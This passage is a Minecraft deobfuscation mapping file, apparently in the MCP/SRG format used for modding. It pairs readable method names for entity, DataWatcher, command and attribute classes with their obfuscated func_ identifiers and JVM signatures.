+MD: net/minecraft/entity/EntityLivingBase/getFallSoundString (I)Ljava/lang/String; net/minecraft/entity/EntityLivingBase/func_146067_o (I)Ljava/lang/String; +MD: net/minecraft/entity/EntityLivingBase/setArrowCountInEntity (I)V net/minecraft/entity/EntityLivingBase/func_85034_r (I)V +MD: net/minecraft/entity/EntityLivingBase/getEquipmentInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLivingBase/func_71124_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLivingBase/setLastAttacker (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityLivingBase/func_130011_c (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityLivingBase/getCurrentArmor (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLivingBase/func_82169_q (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLivingBase/dismountEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityLivingBase/func_110145_l (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityLivingBase/attackEntityAsMob (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/EntityLivingBase/func_70652_k (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/EntityLivingBase/collideWithEntity (Lnet/minecraft/entity/Entity;)V net/minecraft/entity/EntityLivingBase/func_82167_n (Lnet/minecraft/entity/Entity;)V +MD: net/minecraft/entity/EntityLivingBase/canEntityBeSeen (Lnet/minecraft/entity/Entity;)Z net/minecraft/entity/EntityLivingBase/func_70685_l (Lnet/minecraft/entity/Entity;)Z +MD: net/minecraft/entity/EntityLivingBase/onUpdate ()V net/minecraft/entity/EntityLivingBase/func_70071_h_ ()V +MD: net/minecraft/entity/EntityLiving$SpawnPlacementType/values ()[Lnet/minecraft/entity/EntityLiving$SpawnPlacementType; net/minecraft/entity/EntityLiving$SpawnPlacementType/values ()[Lnet/minecraft/entity/EntityLiving$SpawnPlacementType; +MD: net/minecraft/entity/EntityLiving/getDropItem ()Lnet/minecraft/item/Item; net/minecraft/entity/EntityLiving/func_146068_u ()Lnet/minecraft/item/Item; +MD: net/minecraft/entity/EntityLiving/canDespawn ()Z net/minecraft/entity/EntityLiving/func_70692_ba ()Z +MD: net/minecraft/entity/EntityLiving/despawnEntity ()V net/minecraft/entity/EntityLiving/func_70623_bb ()V +MD: net/minecraft/entity/EntityLiving/updateAITasks ()V net/minecraft/entity/EntityLiving/func_70619_bc ()V +MD: net/minecraft/entity/EntityLiving/onEntityUpdate ()V net/minecraft/entity/EntityLiving/func_70030_z ()V +MD: net/minecraft/entity/EntityLiving/handleStatusUpdate (B)V net/minecraft/entity/EntityLiving/func_70103_a (B)V +MD: net/minecraft/entity/EntityLiving/setEquipmentDropChance (IF)V net/minecraft/entity/EntityLiving/func_96120_a (IF)V +MD: net/minecraft/entity/EntityLiving/getArmorItemForSlot (II)Lnet/minecraft/item/Item; net/minecraft/entity/EntityLiving/func_82161_a (II)Lnet/minecraft/item/Item; +MD: net/minecraft/entity/EntityLiving/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityLiving/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityLiving/canAttackClass (Ljava/lang/Class;)Z net/minecraft/entity/EntityLiving/func_70686_a (Ljava/lang/Class;)Z +MD: net/minecraft/entity/EntityLiving/setEquipmentBasedOnDifficulty (Lnet/minecraft/world/DifficultyInstance;)V net/minecraft/entity/EntityLiving/func_180481_a (Lnet/minecraft/world/DifficultyInstance;)V +MD: net/minecraft/entity/EntityLiving/onInitialSpawn (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; net/minecraft/entity/EntityLiving/func_180482_a (Lnet/minecraft/world/DifficultyInstance;Lnet/minecraft/entity/IEntityLivingData;)Lnet/minecraft/entity/IEntityLivingData; +MD: net/minecraft/entity/EntityLiving/faceEntity (Lnet/minecraft/entity/Entity;FF)V net/minecraft/entity/EntityLiving/func_70625_a (Lnet/minecraft/entity/Entity;FF)V +MD: net/minecraft/entity/EntityLiving/setLeashedToEntity (Lnet/minecraft/entity/Entity;Z)V net/minecraft/entity/EntityLiving/func_110162_b (Lnet/minecraft/entity/Entity;Z)V +MD: net/minecraft/entity/EntityLiving/updateEquipmentIfNeeded (Lnet/minecraft/entity/item/EntityItem;)V net/minecraft/entity/EntityLiving/func_175445_a (Lnet/minecraft/entity/item/EntityItem;)V +MD: net/minecraft/entity/EntityLiving/interact (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/EntityLiving/func_70085_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/EntityLiving/func_175448_a (Lnet/minecraft/item/ItemStack;)Z net/minecraft/entity/EntityLiving/func_175448_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/EntityLiving/dropEquipment (ZI)V net/minecraft/entity/EntityLiving/func_82160_b (ZI)V +MD: net/minecraft/entity/EntityLiving/clearLeashed (ZZ)V net/minecraft/entity/EntityLiving/func_110160_i (ZZ)V +MD: net/minecraft/entity/EntityLiving/getMaxFallHeight ()I net/minecraft/entity/EntityLiving/func_82143_as ()I +MD: net/minecraft/entity/EntityLiving/applyEntityAttributes ()V net/minecraft/entity/EntityLiving/func_110147_ax ()V +MD: net/minecraft/entity/EntityLiving/getInventory ()[Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLiving/func_70035_c ()[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLiving/updateRotation (FFF)F net/minecraft/entity/EntityLiving/func_70663_b (FFF)F +MD: net/minecraft/entity/EntityLiving/getNewNavigator (Lnet/minecraft/world/World;)Lnet/minecraft/pathfinding/PathNavigate; net/minecraft/entity/EntityLiving/func_175447_b (Lnet/minecraft/world/World;)Lnet/minecraft/pathfinding/PathNavigate; +MD: net/minecraft/entity/EntityLiving/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/EntityLiving/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/EntityLiving/setEnchantmentBasedOnDifficulty (Lnet/minecraft/world/DifficultyInstance;)V net/minecraft/entity/EntityLiving/func_180483_b (Lnet/minecraft/world/DifficultyInstance;)V +MD: net/minecraft/entity/EntityLiving/getExperiencePoints (Lnet/minecraft/entity/player/EntityPlayer;)I net/minecraft/entity/EntityLiving/func_70693_a (Lnet/minecraft/entity/player/EntityPlayer;)I +MD: net/minecraft/entity/EntityLiving/dropFewItems (ZI)V net/minecraft/entity/EntityLiving/func_70628_a (ZI)V +MD: net/minecraft/entity/EntityLiving/getHeldItem ()Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLiving/func_70694_bm ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLiving/updateEntityActionState ()V net/minecraft/entity/EntityLiving/func_70626_be ()V +MD: net/minecraft/entity/EntityLiving/isServerWorld ()Z net/minecraft/entity/EntityLiving/func_70613_aW ()Z +MD: net/minecraft/entity/EntityLiving/getVerticalFaceSpeed ()I net/minecraft/entity/EntityLiving/func_70646_bf ()I +MD: net/minecraft/entity/EntityLiving/getCanSpawnHere ()Z net/minecraft/entity/EntityLiving/func_70601_bi ()Z +MD: net/minecraft/entity/EntityLiving/isNotColliding ()Z net/minecraft/entity/EntityLiving/func_70058_J ()Z +MD: net/minecraft/entity/EntityLiving/getRenderSizeModifier ()F net/minecraft/entity/EntityLiving/func_70603_bj ()F +MD: net/minecraft/entity/EntityLiving/getMaxSpawnedInChunk ()I net/minecraft/entity/EntityLiving/func_70641_bl ()I +MD: net/minecraft/entity/EntityLiving/canBeSteered ()Z net/minecraft/entity/EntityLiving/func_82171_bF ()Z +MD: net/minecraft/entity/EntityLiving/enablePersistence ()V net/minecraft/entity/EntityLiving/func_110163_bv ()V +MD: net/minecraft/entity/EntityLiving/canPickUpLoot ()Z net/minecraft/entity/EntityLiving/func_98052_bS ()Z +MD: net/minecraft/entity/EntityLiving/isNoDespawnRequired ()Z net/minecraft/entity/EntityLiving/func_104002_bU ()Z +MD: net/minecraft/entity/EntityLiving/setCurrentItemOrArmor (ILnet/minecraft/item/ItemStack;)V net/minecraft/entity/EntityLiving/func_70062_b (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/entity/EntityLiving/getArmorPosition (Lnet/minecraft/item/ItemStack;)I net/minecraft/entity/EntityLiving/func_82159_b (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/entity/EntityLiving/updateLeashedState ()V net/minecraft/entity/EntityLiving/func_110159_bB ()V +MD: net/minecraft/entity/EntityLiving/allowLeashing ()Z net/minecraft/entity/EntityLiving/func_110164_bC ()Z +MD: net/minecraft/entity/EntityLiving/getLeashed ()Z net/minecraft/entity/EntityLiving/func_110167_bD ()Z +MD: net/minecraft/entity/EntityLiving/getLeashedToEntity ()Lnet/minecraft/entity/Entity; net/minecraft/entity/EntityLiving/func_110166_bE ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/EntityLiving/isAIDisabled ()Z net/minecraft/entity/EntityLiving/func_175446_cd ()Z +MD: net/minecraft/entity/EntityLiving/replaceItemInInventory (ILnet/minecraft/item/ItemStack;)Z net/minecraft/entity/EntityLiving/func_174820_d (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/entity/EntityLiving/setAttackTarget (Lnet/minecraft/entity/EntityLivingBase;)V net/minecraft/entity/EntityLiving/func_70624_b (Lnet/minecraft/entity/EntityLivingBase;)V +MD: net/minecraft/entity/EntityLiving/interactFirst (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/entity/EntityLiving/func_130002_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/entity/EntityLiving/entityInit ()V net/minecraft/entity/EntityLiving/func_70088_a ()V +MD: net/minecraft/entity/EntityLiving/updateDistance (FF)F net/minecraft/entity/EntityLiving/func_110146_f (FF)F +MD: net/minecraft/entity/EntityLiving/setCanPickUpLoot (Z)V net/minecraft/entity/EntityLiving/func_98053_h (Z)V +MD: net/minecraft/entity/EntityLiving/setAIMoveSpeed (F)V net/minecraft/entity/EntityLiving/func_70659_e (F)V +MD: net/minecraft/entity/EntityLiving/setNoAI (Z)V net/minecraft/entity/EntityLiving/func_94061_f (Z)V +MD: net/minecraft/entity/EntityLiving/onLivingUpdate ()V net/minecraft/entity/EntityLiving/func_70636_d ()V +MD: net/minecraft/entity/EntityLiving/recreateLeash ()V net/minecraft/entity/EntityLiving/func_110165_bF ()V +MD: net/minecraft/entity/EntityLiving/setMoveForward (F)V net/minecraft/entity/EntityLiving/func_70657_f (F)V +MD: net/minecraft/entity/EntityLiving/getLookHelper ()Lnet/minecraft/entity/ai/EntityLookHelper; net/minecraft/entity/EntityLiving/func_70671_ap ()Lnet/minecraft/entity/ai/EntityLookHelper; +MD: net/minecraft/entity/EntityLiving/getEquipmentInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLiving/func_71124_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLiving/getMoveHelper ()Lnet/minecraft/entity/ai/EntityMoveHelper; net/minecraft/entity/EntityLiving/func_70605_aq ()Lnet/minecraft/entity/ai/EntityMoveHelper; +MD: net/minecraft/entity/EntityLiving/getCurrentArmor (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/EntityLiving/func_82169_q (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/EntityLiving/getJumpHelper ()Lnet/minecraft/entity/ai/EntityJumpHelper; net/minecraft/entity/EntityLiving/func_70683_ar ()Lnet/minecraft/entity/ai/EntityJumpHelper; +MD: net/minecraft/entity/EntityLiving/getNavigator ()Lnet/minecraft/pathfinding/PathNavigate; net/minecraft/entity/EntityLiving/func_70661_as ()Lnet/minecraft/pathfinding/PathNavigate; +MD: net/minecraft/entity/EntityLiving/getEntitySenses ()Lnet/minecraft/entity/ai/EntitySenses; net/minecraft/entity/EntityLiving/func_70635_at ()Lnet/minecraft/entity/ai/EntitySenses; +MD: net/minecraft/entity/EntityLiving/onUpdate ()V net/minecraft/entity/EntityLiving/func_70071_h_ ()V +MD: net/minecraft/entity/EntityLiving/getAttackTarget ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/EntityLiving/func_70638_az ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/EntityLiving/eatGrassBonus ()V net/minecraft/entity/EntityLiving/func_70615_aA ()V +MD: net/minecraft/entity/EntityLiving/getTalkInterval ()I net/minecraft/entity/EntityLiving/func_70627_aG ()I +MD: net/minecraft/entity/EntityLiving/playLivingSound ()V net/minecraft/entity/EntityLiving/func_70642_aH ()V +MD: net/minecraft/entity/EntityLiving/spawnExplosionParticle ()V net/minecraft/entity/EntityLiving/func_70656_aK ()V +MD: net/minecraft/entity/EntityLiving/getLivingSound ()Ljava/lang/String; net/minecraft/entity/EntityLiving/func_70639_aQ ()Ljava/lang/String; +MD: net/minecraft/entity/EnumCreatureType/getCreatureClass ()Ljava/lang/Class; net/minecraft/entity/EnumCreatureType/func_75598_a ()Ljava/lang/Class; +MD: net/minecraft/entity/EnumCreatureType/getMaxNumberOfCreature ()I net/minecraft/entity/EnumCreatureType/func_75601_b ()I +MD: net/minecraft/entity/EnumCreatureType/getPeacefulCreature ()Z net/minecraft/entity/EnumCreatureType/func_75599_d ()Z +MD: net/minecraft/entity/EnumCreatureType/getAnimal ()Z net/minecraft/entity/EnumCreatureType/func_82705_e ()Z +MD: net/minecraft/entity/EnumCreatureType/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/EnumCreatureType; net/minecraft/entity/EnumCreatureType/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/EnumCreatureType; +MD: net/minecraft/entity/EnumCreatureType/values ()[Lnet/minecraft/entity/EnumCreatureType; net/minecraft/entity/EnumCreatureType/values ()[Lnet/minecraft/entity/EnumCreatureType; +MD: net/minecraft/entity/EntitySpawnPlacementRegistry/getPlacementForEntity (Ljava/lang/Class;)Lnet/minecraft/entity/EntityLiving$SpawnPlacementType; net/minecraft/entity/EntitySpawnPlacementRegistry/func_180109_a (Ljava/lang/Class;)Lnet/minecraft/entity/EntityLiving$SpawnPlacementType; +MD: net/minecraft/entity/EnumCreatureAttribute/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/EnumCreatureAttribute/valueOf (Ljava/lang/String;)Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/EnumCreatureAttribute/values ()[Lnet/minecraft/entity/EnumCreatureAttribute; net/minecraft/entity/EnumCreatureAttribute/values ()[Lnet/minecraft/entity/EnumCreatureAttribute; +MD: net/minecraft/entity/IEntityOwnable/getOwnerId ()Ljava/lang/String; net/minecraft/entity/IEntityOwnable/func_152113_b ()Ljava/lang/String; +MD: net/minecraft/entity/IEntityOwnable/getOwner ()Lnet/minecraft/entity/Entity; net/minecraft/entity/IEntityOwnable/func_70902_q ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/EntityCreature/getBlockPathWeight (Lnet/minecraft/util/BlockPos;)F net/minecraft/entity/EntityCreature/func_180484_a (Lnet/minecraft/util/BlockPos;)F +MD: net/minecraft/entity/EntityCreature/setHomePosAndDistance (Lnet/minecraft/util/BlockPos;I)V net/minecraft/entity/EntityCreature/func_175449_a (Lnet/minecraft/util/BlockPos;I)V +MD: net/minecraft/entity/EntityCreature/getCanSpawnHere ()Z net/minecraft/entity/EntityCreature/func_70601_bi ()Z +MD: net/minecraft/entity/EntityCreature/updateLeashedState ()V net/minecraft/entity/EntityCreature/func_110159_bB ()V +MD: net/minecraft/entity/EntityCreature/hasPath ()Z net/minecraft/entity/EntityCreature/func_70781_l ()Z +MD: net/minecraft/entity/EntityCreature/isWithinHomeDistanceCurrentPosition ()Z net/minecraft/entity/EntityCreature/func_110173_bK ()Z +MD: net/minecraft/entity/EntityCreature/getHomePosition ()Lnet/minecraft/util/BlockPos; net/minecraft/entity/EntityCreature/func_180486_cf ()Lnet/minecraft/util/BlockPos; +MD: net/minecraft/entity/EntityCreature/getMaximumHomeDistance ()F net/minecraft/entity/EntityCreature/func_110174_bM ()F +MD: net/minecraft/entity/EntityCreature/detachHome ()V net/minecraft/entity/EntityCreature/func_110177_bN ()V +MD: net/minecraft/entity/EntityCreature/hasHome ()Z net/minecraft/entity/EntityCreature/func_110175_bO ()Z +MD: net/minecraft/entity/EntityCreature/isWithinHomeDistanceFromPosition (Lnet/minecraft/util/BlockPos;)Z net/minecraft/entity/EntityCreature/func_180485_d (Lnet/minecraft/util/BlockPos;)Z +MD: net/minecraft/entity/EntityCreature/func_142017_o (F)V net/minecraft/entity/EntityCreature/func_142017_o (F)V +MD: net/minecraft/entity/DataWatcher$WatchableObject/getDataValueId ()I net/minecraft/entity/DataWatcher$WatchableObject/func_75672_a ()I +MD: net/minecraft/entity/DataWatcher$WatchableObject/setObject (Ljava/lang/Object;)V net/minecraft/entity/DataWatcher$WatchableObject/func_75673_a (Ljava/lang/Object;)V +MD: net/minecraft/entity/DataWatcher$WatchableObject/access$002 (Lnet/minecraft/entity/DataWatcher$WatchableObject;Z)Z net/minecraft/entity/DataWatcher$WatchableObject/access$002 (Lnet/minecraft/entity/DataWatcher$WatchableObject;Z)Z +MD: net/minecraft/entity/DataWatcher$WatchableObject/setWatched (Z)V net/minecraft/entity/DataWatcher$WatchableObject/func_75671_a (Z)V +MD: net/minecraft/entity/DataWatcher$WatchableObject/getObject ()Ljava/lang/Object; net/minecraft/entity/DataWatcher$WatchableObject/func_75669_b ()Ljava/lang/Object; +MD: net/minecraft/entity/DataWatcher$WatchableObject/getObjectType ()I net/minecraft/entity/DataWatcher$WatchableObject/func_75674_c ()I +MD: net/minecraft/entity/DataWatcher$WatchableObject/isWatched ()Z net/minecraft/entity/DataWatcher$WatchableObject/func_75670_d ()Z +MD: net/minecraft/entity/DataWatcher/hasObjectChanged ()Z net/minecraft/entity/DataWatcher/func_75684_a ()Z +MD: net/minecraft/entity/DataWatcher/getWatchableObjectByte (I)B net/minecraft/entity/DataWatcher/func_75683_a (I)B +MD: net/minecraft/entity/DataWatcher/addObjectByDataType (II)V net/minecraft/entity/DataWatcher/func_82709_a (II)V +MD: net/minecraft/entity/DataWatcher/addObject (ILjava/lang/Object;)V net/minecraft/entity/DataWatcher/func_75682_a (ILjava/lang/Object;)V +MD: net/minecraft/entity/DataWatcher/writeTo (Lnet/minecraft/network/PacketBuffer;)V net/minecraft/entity/DataWatcher/func_151509_a (Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/entity/DataWatcher/writeWatchableObjectToPacketBuffer (Lnet/minecraft/network/PacketBuffer;Lnet/minecraft/entity/DataWatcher$WatchableObject;)V net/minecraft/entity/DataWatcher/func_151510_a (Lnet/minecraft/network/PacketBuffer;Lnet/minecraft/entity/DataWatcher$WatchableObject;)V +MD: net/minecraft/entity/DataWatcher/updateWatchedObjectsFromList (Ljava/util/List;)V net/minecraft/entity/DataWatcher/func_75687_a (Ljava/util/List;)V +MD: net/minecraft/entity/DataWatcher/writeWatchedListToPacketBuffer (Ljava/util/List;Lnet/minecraft/network/PacketBuffer;)V net/minecraft/entity/DataWatcher/func_151507_a (Ljava/util/List;Lnet/minecraft/network/PacketBuffer;)V +MD: net/minecraft/entity/DataWatcher/getChanged ()Ljava/util/List; net/minecraft/entity/DataWatcher/func_75688_b ()Ljava/util/List; +MD: net/minecraft/entity/DataWatcher/getWatchableObjectShort (I)S net/minecraft/entity/DataWatcher/func_75693_b (I)S +MD: net/minecraft/entity/DataWatcher/updateObject (ILjava/lang/Object;)V net/minecraft/entity/DataWatcher/func_75692_b (ILjava/lang/Object;)V +MD: net/minecraft/entity/DataWatcher/readWatchedListFromPacketBuffer (Lnet/minecraft/network/PacketBuffer;)Ljava/util/List; net/minecraft/entity/DataWatcher/func_151508_b (Lnet/minecraft/network/PacketBuffer;)Ljava/util/List; +MD: net/minecraft/entity/DataWatcher/getAllWatched ()Ljava/util/List; net/minecraft/entity/DataWatcher/func_75685_c ()Ljava/util/List; +MD: net/minecraft/entity/DataWatcher/getWatchableObjectInt (I)I net/minecraft/entity/DataWatcher/func_75679_c (I)I +MD: net/minecraft/entity/DataWatcher/getIsBlank ()Z net/minecraft/entity/DataWatcher/func_92085_d ()Z +MD: net/minecraft/entity/DataWatcher/getWatchableObjectFloat (I)F net/minecraft/entity/DataWatcher/func_111145_d (I)F +MD: net/minecraft/entity/DataWatcher/func_111144_e ()V net/minecraft/entity/DataWatcher/func_111144_e ()V +MD: net/minecraft/entity/DataWatcher/getWatchableObjectString (I)Ljava/lang/String; net/minecraft/entity/DataWatcher/func_75681_e (I)Ljava/lang/String; +MD: net/minecraft/entity/DataWatcher/getWatchableObjectItemStack (I)Lnet/minecraft/item/ItemStack; net/minecraft/entity/DataWatcher/func_82710_f (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/entity/DataWatcher/getWatchableObjectRotations (I)Lnet/minecraft/util/Rotations; net/minecraft/entity/DataWatcher/func_180115_h (I)Lnet/minecraft/util/Rotations; +MD: net/minecraft/entity/DataWatcher/setObjectWatched (I)V net/minecraft/entity/DataWatcher/func_82708_h (I)V +MD: net/minecraft/entity/DataWatcher/getWatchedObject (I)Lnet/minecraft/entity/DataWatcher$WatchableObject; net/minecraft/entity/DataWatcher/func_75691_i (I)Lnet/minecraft/entity/DataWatcher$WatchableObject; +MD: net/minecraft/command/server/CommandBanIp/getRequiredPermissionLevel ()I net/minecraft/command/server/CommandBanIp/func_82362_a ()I +MD: net/minecraft/command/server/CommandBanIp/canCommandSenderUseCommand (Lnet/minecraft/command/ICommandSender;)Z net/minecraft/command/server/CommandBanIp/func_71519_b (Lnet/minecraft/command/ICommandSender;)Z +MD: net/minecraft/command/server/CommandBanIp/func_147210_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/String;)V net/minecraft/command/server/CommandBanIp/func_147210_a (Lnet/minecraft/command/ICommandSender;Ljava/lang/String;Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandBanIp/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/server/CommandBanIp/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/server/CommandBanIp/addTabCompletionOptions (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; net/minecraft/command/server/CommandBanIp/func_180525_a (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;Lnet/minecraft/util/BlockPos;)Ljava/util/List; +MD: net/minecraft/command/server/CommandBanIp/getCommandName ()Ljava/lang/String; net/minecraft/command/server/CommandBanIp/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/server/CommandBanIp/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/server/CommandBanIp/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityTameable/handleStatusUpdate (B)V net/minecraft/entity/passive/EntityTameable/func_70103_a (B)V +MD: net/minecraft/entity/passive/EntityTameable/readEntityFromNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityTameable/func_70037_a (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityTameable/onDeath (Lnet/minecraft/util/DamageSource;)V net/minecraft/entity/passive/EntityTameable/func_70645_a (Lnet/minecraft/util/DamageSource;)V +MD: net/minecraft/entity/passive/EntityTameable/shouldAttackEntity (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/passive/EntityTameable/func_142018_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/passive/EntityTameable/getOwnerId ()Ljava/lang/String; net/minecraft/entity/passive/EntityTameable/func_152113_b ()Ljava/lang/String; +MD: net/minecraft/entity/passive/EntityTameable/writeEntityToNBT (Lnet/minecraft/nbt/NBTTagCompound;)V net/minecraft/entity/passive/EntityTameable/func_70014_b (Lnet/minecraft/nbt/NBTTagCompound;)V +MD: net/minecraft/entity/passive/EntityTameable/setOwnerId (Ljava/lang/String;)V net/minecraft/entity/passive/EntityTameable/func_152115_b (Ljava/lang/String;)V +MD: net/minecraft/entity/passive/EntityTameable/getTeam ()Lnet/minecraft/scoreboard/Team; net/minecraft/entity/passive/EntityTameable/func_96124_cp ()Lnet/minecraft/scoreboard/Team; +MD: net/minecraft/entity/passive/EntityTameable/isOnSameTeam (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/passive/EntityTameable/func_142014_c (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/passive/EntityTameable/isTamed ()Z net/minecraft/entity/passive/EntityTameable/func_70909_n ()Z +MD: net/minecraft/entity/passive/EntityTameable/setupTamedAI ()V net/minecraft/entity/passive/EntityTameable/func_175544_ck ()V +MD: net/minecraft/entity/passive/EntityTameable/isSitting ()Z net/minecraft/entity/passive/EntityTameable/func_70906_o ()Z +MD: net/minecraft/entity/passive/EntityTameable/getOwner ()Lnet/minecraft/entity/EntityLivingBase; net/minecraft/entity/passive/EntityTameable/func_70902_q ()Lnet/minecraft/entity/EntityLivingBase; +MD: net/minecraft/entity/passive/EntityTameable/getAISit ()Lnet/minecraft/entity/ai/EntityAISit; net/minecraft/entity/passive/EntityTameable/func_70907_r ()Lnet/minecraft/entity/ai/EntityAISit; +MD: net/minecraft/entity/passive/EntityTameable/isOwner (Lnet/minecraft/entity/EntityLivingBase;)Z net/minecraft/entity/passive/EntityTameable/func_152114_e (Lnet/minecraft/entity/EntityLivingBase;)Z +MD: net/minecraft/entity/passive/EntityTameable/entityInit ()V net/minecraft/entity/passive/EntityTameable/func_70088_a ()V +MD: net/minecraft/entity/passive/EntityTameable/playTameEffect (Z)V net/minecraft/entity/passive/EntityTameable/func_70908_e (Z)V +MD: net/minecraft/entity/passive/EntityTameable/setTamed (Z)V net/minecraft/entity/passive/EntityTameable/func_70903_f (Z)V +MD: net/minecraft/entity/passive/EntityTameable/getOwner ()Lnet/minecraft/entity/Entity; net/minecraft/entity/passive/EntityTameable/func_70902_q ()Lnet/minecraft/entity/Entity; +MD: net/minecraft/entity/passive/EntityTameable/setSitting (Z)V net/minecraft/entity/passive/EntityTameable/func_70904_g (Z)V +MD: net/minecraft/entity/ai/attributes/IAttribute/getAttributeUnlocalizedName ()Ljava/lang/String; net/minecraft/entity/ai/attributes/IAttribute/func_111108_a ()Ljava/lang/String; +MD: net/minecraft/entity/ai/attributes/IAttribute/clampValue (D)D net/minecraft/entity/ai/attributes/IAttribute/func_111109_a (D)D +MD: net/minecraft/entity/ai/attributes/IAttribute/getDefaultValue ()D net/minecraft/entity/ai/attributes/IAttribute/func_111110_b ()D +MD: net/minecraft/entity/ai/attributes/IAttribute/getShouldWatch ()Z net/minecraft/entity/ai/attributes/IAttribute/func_111111_c ()Z +MD: net/minecraft/entity/ai/attributes/IAttribute/func_180372_d ()Lnet/minecraft/entity/ai/attributes/IAttribute; net/minecraft/entity/ai/attributes/IAttribute/func_180372_d ()Lnet/minecraft/entity/ai/attributes/IAttribute; +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/getAttribute ()Lnet/minecraft/entity/ai/attributes/IAttribute; net/minecraft/entity/ai/attributes/IAttributeInstance/func_111123_a ()Lnet/minecraft/entity/ai/attributes/IAttribute; +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/setBaseValue (D)V net/minecraft/entity/ai/attributes/IAttributeInstance/func_111128_a (D)V +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/getModifiersByOperation (I)Ljava/util/Collection; net/minecraft/entity/ai/attributes/IAttributeInstance/func_111130_a (I)Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/getModifier (Ljava/util/UUID;)Lnet/minecraft/entity/ai/attributes/AttributeModifier; net/minecraft/entity/ai/attributes/IAttributeInstance/func_111127_a (Ljava/util/UUID;)Lnet/minecraft/entity/ai/attributes/AttributeModifier; +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/hasModifier (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)Z net/minecraft/entity/ai/attributes/IAttributeInstance/func_180374_a (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)Z +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/getBaseValue ()D net/minecraft/entity/ai/attributes/IAttributeInstance/func_111125_b ()D +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/applyModifier (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V net/minecraft/entity/ai/attributes/IAttributeInstance/func_111121_a (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/func_111122_c ()Ljava/util/Collection; net/minecraft/entity/ai/attributes/IAttributeInstance/func_111122_c ()Ljava/util/Collection; +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/removeModifier (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V net/minecraft/entity/ai/attributes/IAttributeInstance/func_111124_b (Lnet/minecraft/entity/ai/attributes/AttributeModifier;)V +MD: net/minecraft/entity/ai/attributes/IAttributeInstance/removeAllModifiers ()V net/minecraft/entity/ai/attributes/IAttributeInstance/func_142049_d ()V +MD: 